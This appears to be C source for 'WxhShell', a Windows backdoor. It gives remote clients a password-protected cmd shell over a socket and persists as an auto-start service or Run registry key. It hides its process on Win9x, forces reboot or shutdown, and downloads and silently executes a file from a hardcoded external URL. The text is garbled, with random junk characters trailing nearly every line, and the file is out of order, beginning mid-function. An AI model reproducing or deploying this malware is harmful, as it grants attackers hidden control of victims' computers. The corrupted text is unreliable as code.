    if(Boot(SHUTDOWN)) H_u%e*W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %(r.`I$  
    else { 0.^67'  
    closesocket(wsh); ;a(7%  
    ExitThread(0); aM\Ph&c7e'  
    } X9YbTN  
    break; yM?jiy  
    } `I(5Aj"  
  // 获取shell v;s^j  
  case 's': { \"+}-!wr  
    CmdShell(wsh); e8)8QmB{o  
    closesocket(wsh); fTi5Ej*/?)  
    ExitThread(0); @CA{uP;  
    break; sGGi7 %  
  } CmtDfE  
  // 退出 l0%7u  
  case 'x': { !*,m=*[3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rpL]5e!  
    CloseIt(wsh); i >BQRbU  
    break; A/~^4DR  
    } "iuNYM5 P  
  // 离开 Y>CZ  
  case 'q': { ;Hu`BFXyD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X1&c?T1 %[  
    closesocket(wsh); |1m2h]];Q  
    WSACleanup(); (usPAslr  
    exit(1); :MF+`RpL  
    break; S"R(6:hkgu  
        } KWn.  
  } -8sB\E  
  } KtaoU2s  
@[O|n)7  
  // 提示信息 W"5VqN6v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +VO(6Jn  
} O/fm/  
  } 7"Q;Yi2(  
v@qVT'qlU  
  return; Q\z9\mMG-  
} piAFxS<6  
hJ~=eYK?J  
// shell模块句柄 WCg&*  
int CmdShell(SOCKET sock) AL[,&_&uV  
{ k}e~xbh-y  
STARTUPINFO si; W>E|Iv[o  
ZeroMemory(&si,sizeof(si)); CD)JCv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #M[%JTTn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \!4_m8?  
PROCESS_INFORMATION ProcessInfo; 5:SS2>~g  
char cmdline[]="cmd"; gO_d!x*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); < !PbD  
  return 0; *NoixV1>  
} P u,JR  
"Pzh#rYY~W  
// 自身启动模式 b yX)4&  
int StartFromService(void) GNoUn7Y  
{ (A~w IKY,  
typedef struct vFi+ExBU  
{ @ "/:Omh  
  DWORD ExitStatus; dEPLkv  
  DWORD PebBaseAddress; A{ . A1  
  DWORD AffinityMask; rWip[>^  
  DWORD BasePriority; Ev0=m;@_  
  ULONG UniqueProcessId; [(Ihue  
  ULONG InheritedFromUniqueProcessId; Ypx"<CKP}  
}   PROCESS_BASIC_INFORMATION; a}'dIDj  
MD[;Ha  
PROCNTQSIP NtQueryInformationProcess; N$<R6DU]K  
=v=u+nO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z^#u n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qv1cf  
1 abQoe  
  HANDLE             hProcess; Nt7z ]F`  
  PROCESS_BASIC_INFORMATION pbi; 9rgvwko  
.:B;%*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1n~^@f#`  
  if(NULL == hInst ) return 0; NwNjB w%v  
}hS$F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !Mj28  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Wn Ng3'6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MCl-er"]D  
O<y65#68Z  
  if (!NtQueryInformationProcess) return 0; z(1`Iy M  
PyM59v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =&WH9IKz  
  if(!hProcess) return 0; rYrvd[/*&(  
FM<`\ d'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .a9f)^  
D|IS@gWa  
  CloseHandle(hProcess); (9v%66y  
k;jXVa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o~26<Lk  
if(hProcess==NULL) return 0; hY|-l%2f  
W:O p\  
HMODULE hMod; 'q1cc5(ueV  
char procName[255]; nRs:^Q~o  
unsigned long cbNeeded; K7wU tg  
[R<>3}50Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;3+_aoY  
Hd_,`W@  
  CloseHandle(hProcess); c"/Hv  
i'[! 'HY  
if(strstr(procName,"services")) return 1; // 以服务启动 2W }j bOy  
>LJ<6s[=  
  return 0; // 注册表启动 3)hQT-)  
} ba^/Ar(B  
^;wz+u4^l  
// 主模块 \f@obp  
int StartWxhshell(LPSTR lpCmdLine) XC4wm#R  
{ +NVXFjPC  
  SOCKET wsl; a&u!KAQ  
BOOL val=TRUE; ywA7hm  
  int port=0; L9d|7.b  
  struct sockaddr_in door; 5 hW#BB  
^7YZ>^  
  if(wscfg.ws_autoins) Install(); |nBZ:$D  
y:Aha#<  
port=atoi(lpCmdLine); K?>sP%m)  
/q) H0b  
if(port<=0) port=wscfg.ws_port; vb3hDy  
FIx|4[&>S  
  WSADATA data; ?%$~Bb _  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -FW^fGS+  
0 gR_1~3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .9vt<<Kwh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _%(.OR  
  door.sin_family = AF_INET; dF*M"|[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BDLJDyf B  
  door.sin_port = htons(port); >96+s)T%;  
P3v4!tR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QwL*A `@  
closesocket(wsl); -B#K}xL|x  
return 1; Nw1Bn~yx<R  
} HhwAzk/G~  
*E+VcU  
  if(listen(wsl,2) == INVALID_SOCKET) { FsS.9 `B  
closesocket(wsl); .@$ A~/ YU  
return 1; rp|A88Q/!  
} zR )/h   
  Wxhshell(wsl); = BbG2k  
  WSACleanup(); @76I8r5l  
@WiTh'w0  
return 0; Z+=-)&L  
$LiBJ~vV<  
} v Ov"^X  
G++<r7;x  
// 以NT服务方式启动 tJmy}.t1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `26.+>Z7  
{ $-]I?cWlQ  
DWORD   status = 0; E&f/*V^  
  DWORD   specificError = 0xfffffff; 8C@6 b4VK  
7spZe"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]dgi]R|`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n3j_=(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ! Y&]Y G  
  serviceStatus.dwWin32ExitCode     = 0; P)LOAe1'  
  serviceStatus.dwServiceSpecificExitCode = 0; 3*\hGt,ZP  
  serviceStatus.dwCheckPoint       = 0; |9X2AS Qu  
  serviceStatus.dwWaitHint       = 0; 2/\I/QkTs  
N1 sdWXG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j8aH*K-l{  
  if (hServiceStatusHandle==0) return; MhJA8| B6|  
F{c8{?:  
status = GetLastError(); |~&cTDd  
  if (status!=NO_ERROR) .{|SKhXk  
{ f4&;l|R0a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <[u(il  
    serviceStatus.dwCheckPoint       = 0; <{@D^L6h  
    serviceStatus.dwWaitHint       = 0; 1(RRjT 9  
    serviceStatus.dwWin32ExitCode     = status; {?"X\5n0  
    serviceStatus.dwServiceSpecificExitCode = specificError; -*O L+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hT`&Xb  
    return; Spin]V  
  } wQ[!~>A  
 g_Rp}6g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MWK)Bn  
  serviceStatus.dwCheckPoint       = 0; 2 /*z5  
  serviceStatus.dwWaitHint       = 0; YY(_g|;?8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q2:r WE{K!  
} Cl3L)  
sx]{N  
// 处理NT服务事件,比如:启动、停止  wG6Oz2(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TK%q}bK,  
{ Db;>MWt+e  
switch(fdwControl) Q laoa)d#  
{ ov daK"q2  
case SERVICE_CONTROL_STOP: 2##mVEo.(  
  serviceStatus.dwWin32ExitCode = 0; YB!f=_8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hpYv*WH:  
  serviceStatus.dwCheckPoint   = 0; ?$uEN_1O\@  
  serviceStatus.dwWaitHint     = 0; IKaW],sr#  
  { Y3s8@0b3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7G*rxn"d  
  } S)W?W}*R\  
  return; >AY9 F|:  
case SERVICE_CONTROL_PAUSE: R3.w")6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !ZvVj\{  
  break; _wX(OB  
case SERVICE_CONTROL_CONTINUE: vK+!m~kDu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )X:Sfk  
  break; Bj9FSKiH  
case SERVICE_CONTROL_INTERROGATE: :(.:bf  
  break; _n{_\/A6f  
}; b\zq,0%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?L H[,8z  
} AK%&Kq&PaY  
@F*z/E}e  
// 标准应用程序主函数 w=: c7Y+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i )$+#N  
{ >j*0fb!:]  
)EQI>1_  
// 获取操作系统版本 ShvC4Xb 0  
OsIsNt=GetOsVer(); .IVKgQ B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O '`|(L  
|1/8m/2Af.  
  // 从命令行安装 q8.Z7ux  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0pl'*r*9  
cKOXsdH?SL  
  // 下载执行文件 /~7M @`1  
if(wscfg.ws_downexe) { V pzjh,r-j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -*hPEgcV9  
  WinExec(wscfg.ws_filenam,SW_HIDE); cxvO,8NiB  
} K K]R@{ r  
"}ur"bU1  
if(!OsIsNt) { x1STjI>i  
// 如果时win9x,隐藏进程并且设置为注册表启动 mA_EvzXk\  
HideProc(); e%4vvPp  
StartWxhshell(lpCmdLine); 5dG+>7Iy}  
} w@O)b-b|w  
else e=IbEm{|  
  if(StartFromService()) [u J<]  
  // 以服务方式启动 k.Gt }\6zP  
  StartServiceCtrlDispatcher(DispatchTable); e6qIC*C!  
else ZtP/|P5@  
  // 普通方式启动 !{ _:k%B  
  StartWxhshell(lpCmdLine); -]Mk} z$  
,?Vxcr  
return 0; G&MO(r}B  
} h.Sbds  
I")Ud?v0)  
NS+uiy  
D+oV( Pw,  
=========================================== M19 5[]  
Qy=tkCN  
eI|~neh  
#)#'^MZX  
/X#OX 8gb]  
.>PwbZ  
" 6& hiW]Adm  
Z/v )^VR  
#include <stdio.h> |Xd& aQ  
#include <string.h> @E h(GZN  
#include <windows.h> upJ y,|5  
#include <winsock2.h> '-G,7!.,r%  
#include <winsvc.h> E)X_  
#include <urlmon.h> 99]s/KD2yb  
=&qfmq  
#pragma comment (lib, "Ws2_32.lib") e(`r"RrQ  
#pragma comment (lib, "urlmon.lib") qEdY]t   
>SYOtzg%  
#define MAX_USER   100 // 最大客户端连接数 3=UufI  
#define BUF_SOCK   200 // sock buffer _n4`mL8>kH  
#define KEY_BUFF   255 // 输入 buffer ~EYdEqS)  
/8hjs{(;  
#define REBOOT     0   // 重启 (>P z3 7  
#define SHUTDOWN   1   // 关机 |Q?$n3-f"  
Ml +f3#HP  
#define DEF_PORT   5000 // 监听端口 @ e7_&EGR?  
K+yi_n L  
#define REG_LEN     16   // 注册表键长度 pH@yE Vf  
#define SVC_LEN     80   // NT服务名长度 ?q5HAIZ`  
uHDUuK:Ur  
// 从dll定义API Th~pju  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (m.jC}J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pBQ[lPCY/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =aehhs>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $.B}zY{  
jd 8g0^  
// wxhshell配置信息 !yV)EJ:$  
struct WSCFG { )%!X,  
  int ws_port;         // 监听端口 )MX%DQw  
  char ws_passstr[REG_LEN]; // 口令 n4ti{-^4|d  
  int ws_autoins;       // 安装标记, 1=yes 0=no z:{R4#(Q  
  char ws_regname[REG_LEN]; // 注册表键名 icK U)  
  char ws_svcname[REG_LEN]; // 服务名 2"Y=*s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PKs$Q=Ol<|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A {')  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >v%UV:7ap  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )9!ZkZbv_m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gJzS,g1]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F#efs6{  
QkO4Td<  
}; zH@+\#M  
.+^o{b  
// default Wxhshell configuration hDEZq>&  
struct WSCFG wscfg={DEF_PORT, _'s5FlZq  
    "xuhuanlingzhe", [@s5v  
    1, #- d-zV*  
    "Wxhshell", 9x9E+DG#(  
    "Wxhshell", ZJ_P=  
            "WxhShell Service", a+\s0Qo<  
    "Wrsky Windows CmdShell Service", [3W+h1  
    "Please Input Your Password: ", Gv\fF;,R  
  1, 7|?Ht]  
  "http://www.wrsky.com/wxhshell.exe", 061f  
  "Wxhshell.exe" 'wTJX>  
    }; ]JI A\|b6  
;!>>C0s"  
// 消息定义模块 `P9%[8`C 9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]}A yDy6C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c-a;nAR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :#W>lq@H  
char *msg_ws_ext="\n\rExit."; ve= nh]N  
char *msg_ws_end="\n\rQuit."; );x[1*e  
char *msg_ws_boot="\n\rReboot..."; hzX&BI  
char *msg_ws_poff="\n\rShutdown..."; Xc]Q_70O  
char *msg_ws_down="\n\rSave to "; %w6lNl  
dtq]_HvTJ  
char *msg_ws_err="\n\rErr!"; 9'JkLgz;d+  
char *msg_ws_ok="\n\rOK!"; aeF^&F0  
F ?TmOa0  
char ExeFile[MAX_PATH]; rYr.mX  
int nUser = 0; HLM"dmI   
HANDLE handles[MAX_USER]; Q|cA8Fn  
int OsIsNt; 2c<phmiK  
 '+C%]p  
SERVICE_STATUS       serviceStatus; NW;wy;;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &Lgi  
\t@|-`  
// 函数声明 [p_C?hHO  
int Install(void); ]dIr;x`  
int Uninstall(void); Mxe  
int DownloadFile(char *sURL, SOCKET wsh); -^7n+ QX  
int Boot(int flag); sQe>LNp,G  
void HideProc(void); "A9 c]  
int GetOsVer(void); _Msaub!N  
int Wxhshell(SOCKET wsl); 6e;.}i  
void TalkWithClient(void *cs); x;R9Gc[5  
int CmdShell(SOCKET sock); b%,`;hy{  
int StartFromService(void); \(bML#I  
int StartWxhshell(LPSTR lpCmdLine); Djf,#&j!3  
[VP ~~*b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DavG=kvd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); = 8%+$vX  
pc%_:>  
// 数据结构和表定义 89)rss  
SERVICE_TABLE_ENTRY DispatchTable[] = ,Z I"+v  
{ C,D~2G  
{wscfg.ws_svcname, NTServiceMain}, Ie?C<(8Ul  
{NULL, NULL} 4m6E~_:F  
}; z7J2O  
vQ}llA h  
// 自我安装 L1k_AC1.M  
int Install(void) fhmq O0  
{ [nlW}1)46  
  char svExeFile[MAX_PATH]; DFt1{qS8@u  
  HKEY key; ,#r>#fi0  
  strcpy(svExeFile,ExeFile); cf0D q~G  
UpS`KgF"v  
// 如果是win9x系统,修改注册表设为自启动 ;[@< ,  
if(!OsIsNt) { ]f q.r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3say&|kJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3B|o   
  RegCloseKey(key); mPxph>o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jC<!Ny-$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D[)g-_3f6<  
  RegCloseKey(key); v >71 ?te  
  return 0; _S#uxgL<  
    } $R7n1  
  } >_]j{}~\k  
} MD S;qZx=  
else { eUA6X ,I  
ND7 gxt-B  
// 如果是NT以上系统,安装为系统服务 F%x8y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P-VK=Y1q  
if (schSCManager!=0) Cv|ya$}a  
{ C_Y^<  
  SC_HANDLE schService = CreateService IXugnvyV  
  ( Y`3>i,S6\  
  schSCManager, _d&FB~=  
  wscfg.ws_svcname, /4]M*ls  
  wscfg.ws_svcdisp, A5zT^!`[  
  SERVICE_ALL_ACCESS, ]dc^@}1bN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2hl'mRW  
  SERVICE_AUTO_START, |b52JF ",  
  SERVICE_ERROR_NORMAL, hd.^ZD7  
  svExeFile, Qj?FUxw  
  NULL, 9Bl_t}0  
  NULL, rm NqS+t  
  NULL, &CFHH"OsT  
  NULL, <DCrYt!1}c  
  NULL i!<,8e=  
  ); /z*?:*  
  if (schService!=0) X6/k `J  
  { g6k@E,cI_  
  CloseServiceHandle(schService); 7^h?<X\  
  CloseServiceHandle(schSCManager); =usx' #rb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `(?E-~#'  
  strcat(svExeFile,wscfg.ws_svcname); ;Id%{1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {mMrD 5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o-B9r+N  
  RegCloseKey(key); -82Rz   
  return 0; oW(p (>  
    } /+ vl({vV  
  } eZ y)>.6Z  
  CloseServiceHandle(schSCManager); V4}9f5FR  
} ,L^eD>|j5  
} Iu^# +n  
<XX\4[wb  
return 1; SEF/ D0  
} Y(ly0U}  
DHJh.Y@H  
// 自我卸载 b2. xJ4  
int Uninstall(void) p mcy(<  
{ 0m6Vf x  
  HKEY key; /Ws@YP  
2GA6@-u\  
if(!OsIsNt) { &Jv j@,>$d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CeoK@y=o  
  RegDeleteValue(key,wscfg.ws_regname); 7\'vSHIL  
  RegCloseKey(key); ?h"+q8&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bWo-( qxq  
  RegDeleteValue(key,wscfg.ws_regname); ~sshhuF  
  RegCloseKey(key); wj9CL1Gx  
  return 0; mdR:XuRD"t  
  } wP- pFc  
} eyy{z;D8r  
} 2j` x^  
else { M2_sxibI  
! R?r)G5E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >nkd U  
if (schSCManager!=0) _9wX8fh3D  
{ g8 ,V( ^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mHB*4L  
  if (schService!=0) LX'.up11X5  
  { }BS.OK?  
  if(DeleteService(schService)!=0) { O E0w/{  
  CloseServiceHandle(schService); s\,F 6c  
  CloseServiceHandle(schSCManager); @T  
  return 0; j{SRE1tqh  
  } _>%P};G{>  
  CloseServiceHandle(schService); N_lQz(nG/2  
  } A&rk5y;  
  CloseServiceHandle(schSCManager); s3kHNDdC  
} XYhN;U}Z  
} b[<r+e8  
mk8xNpk B  
return 1; Vrz x;V%  
} im|( 4 f  
9&fS<Hk  
// 从指定url下载文件 lfp[(Ph)9  
int DownloadFile(char *sURL, SOCKET wsh) #g*U\y  
{ Qyvn A|&  
  HRESULT hr; Mh"DPt9@J  
char seps[]= "/"; <|[G=GA\S!  
char *token; S.1\e"MfI  
char *file; q`_d>l  
char myURL[MAX_PATH]; c""*Ng*T  
char myFILE[MAX_PATH]; 2K4Jkyi  
@^]wT_r  
strcpy(myURL,sURL); _^;+_6&[  
  token=strtok(myURL,seps); 6&_"dg"  
  while(token!=NULL) 9W88_rE'e}  
  { Jn3cU  
    file=token; 1$T;u~vg  
  token=strtok(NULL,seps); huFT_z_;;  
  } 9o5W\.A7[D  
P1KXvc}JGe  
GetCurrentDirectory(MAX_PATH,myFILE); =lY6v -MBw  
strcat(myFILE, "\\"); s\i:;`l:=5  
strcat(myFILE, file); )Be?axI  
  send(wsh,myFILE,strlen(myFILE),0); =<Q_&_.60  
send(wsh,"...",3,0); (?R;u>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zmd,uhNc:  
  if(hr==S_OK) ^Z1t'-xZ  
return 0; </! `m8\  
else "zFv? ay  
return 1; Bu|U z0Y  
zj:= 9$  
} zY_xJ"/9  
\1|]?ZQ\K  
// 系统电源模块 -(*<2Hy4  
int Boot(int flag) b-4g HW  
{ W*?mc2;/  
  HANDLE hToken; V6l~Aj}/  
  TOKEN_PRIVILEGES tkp; =P'33) \ )  
MO}J  
  if(OsIsNt) { K5l#dl_T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4Uz1~AuNxb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T}')QC&wQ  
    tkp.PrivilegeCount = 1; Zx$q,Zo<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S%+,:kq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2y6@:VxSh  
if(flag==REBOOT) { 'lmZ{a6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1K(a=o[Ce  
  return 0; w1Ar[ P  
} "s-e)svB  
else { dLA'cQId  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R}~p1=D  
  return 0; ^Ej4^d  
} V[E7 mhqy  
  } Hgu:*iYA  
  else { YA(_*h  
if(flag==REBOOT) { $xx5+A%,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oh%kuO T[  
  return 0; si`{>e~`6P  
} >)5=6{x  
else { _PTo !aJL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2kv%k3 Q{  
  return 0; ;=rMIi  
} 5<0d2bK$  
} t<`h(RczHI  
Znl&.,c)  
return 1; 3,`.$   
} Y>OL2g  
9C$#A+~C  
// win9x进程隐藏模块 $`nKq4Y   
void HideProc(void) q;I`&JK  
{ >z=_V|^$  
{?a9>g-BW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IKJ~sw~AQ  
  if ( hKernel != NULL ) 7V/yU5  
  { .aRL'1xHl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $Cu/!GA4.>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^RN1?dXA  
    FreeLibrary(hKernel); jgiP2k[Xom  
  } 4SG22$7W  
id^U%4J  
return; E)(`Z0  
} uj.~/W1,!  
`_2#t1`u  
// 获取操作系统版本 f;/t7=>d  
int GetOsVer(void) S}"?#=Q.%O  
{ eO,  
  OSVERSIONINFO winfo; @5gZK[?|I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); //--r5Q  
  GetVersionEx(&winfo); T7;)HFGeW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {Y5h*BD>  
  return 1; N0s)Nao4  
  else 9Ao0$|@b  
  return 0;  1fbd/-h  
} 5H6GZ:hp  
c%.f|/.k  
// 客户端句柄模块 W7N Hr5RC  
int Wxhshell(SOCKET wsl) %EPqJ(T  
{ uTJi }4cw  
  SOCKET wsh; v9~Hl   
  struct sockaddr_in client; &%pB; dk  
  DWORD myID; m[^;HwJ  
{nQ}t }B  
  while(nUser<MAX_USER) MCma3^/1  
{ #SY8Zv  
  int nSize=sizeof(client); AK<ZP?0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |Sg *j-.  
  if(wsh==INVALID_SOCKET) return 1; :C42yQAP  
^F*)Jq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TJY$<:  
if(handles[nUser]==0) i7~oZ)w  
  closesocket(wsh); | -Di/.  
else /2u;w !oi.  
  nUser++; SX}GKu  
  } hBsjO3n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )EO/P+&  
7>{edNy!,  
  return 0; P's<M  
} #)R;6"  
i/xPO  
// 关闭 socket >/n5=RWh  
void CloseIt(SOCKET wsh) Y tGH>0}h  
{ cXJgdBwo  
closesocket(wsh); y<F$@  
nUser--; ^ +{ ~ ^y7  
ExitThread(0); :yT~.AK}>1  
} M _U$I7  
Z-4A`@p  
// 客户端请求句柄 NtTLvO6  
void TalkWithClient(void *cs) ! # tRl  
{ j<deTK;.  
@7lZ{jV$  
  SOCKET wsh=(SOCKET)cs; !^axO  
  char pwd[SVC_LEN]; 8Z3+S)6  
  char cmd[KEY_BUFF]; D~f.)kkC4  
char chr[1]; 8gC(N3/E"  
int i,j; Q X@&~  
W \f7fVU  
  while (nUser < MAX_USER) { +G/~v`Bv  
L&3=5Bf9  
if(wscfg.ws_passstr) { LO"HwN43h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !W$Br\<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1Y9Ye?~jd  
  //ZeroMemory(pwd,KEY_BUFF); wuYo@DDU#  
      i=0; }Pb!u9_  
  while(i<SVC_LEN) { '&<-,1^L  
Wq{'ZN  
  // 设置超时 r)j#Skh].  
  fd_set FdRead; BC$In!  
  struct timeval TimeOut; W>@%d`>o5  
  FD_ZERO(&FdRead); %oor7 -l  
  FD_SET(wsh,&FdRead); M2xUs  
  TimeOut.tv_sec=8; mOXI"q]p  
  TimeOut.tv_usec=0; !d(!1fC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t1Jz?Ix6%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); It_yh #s  
d'3'{C|kk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5Rec}H  
  pwd=chr[0]; k6Tpaf^  
  if(chr[0]==0xd || chr[0]==0xa) { )d.7xY7!  
  pwd=0; H>7!+&M  
  break; 8dZH&G@;  
  } y mE`V  
  i++; l%w7N9  
    } g<lX Xj2  
#ASu SQ  
  // 如果是非法用户,关闭 socket j_H T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZRQPOy  
} |y=gp  
$\K(EBi#G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #&5\1Qu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *{Z!m@?  
'+QgZ>q"  
while(1) { Z\7bp&&  
sO6t8)$b  
  ZeroMemory(cmd,KEY_BUFF); h n ]6he  
0,3 ':Df  
      // 自动支持客户端 telnet标准   p-6.:y  
  j=0; VN".NEL  
  while(j<KEY_BUFF) { J~Ph)|AiS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2bC%P})m  
  cmd[j]=chr[0]; vSL{WT]m  
  if(chr[0]==0xa || chr[0]==0xd) { 52 A=c1kb  
  cmd[j]=0; ropiyT9;  
  break; Oxvw`a#  
  } 1e+?O7/  
  j++; 1lQ1 0J  
    } N}h%8\  
f:0n-me  
  // 下载文件 +]zP $5_e  
  if(strstr(cmd,"http://")) { +~v(*s C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gc:>HX );)  
  if(DownloadFile(cmd,wsh)) M*H G4(n0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &ivIv[LV  
  else H}~^,B2;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U Oo(7  
  } ]z%9Q8q'  
  else { {XCrjO|  
c2f$:XiM  
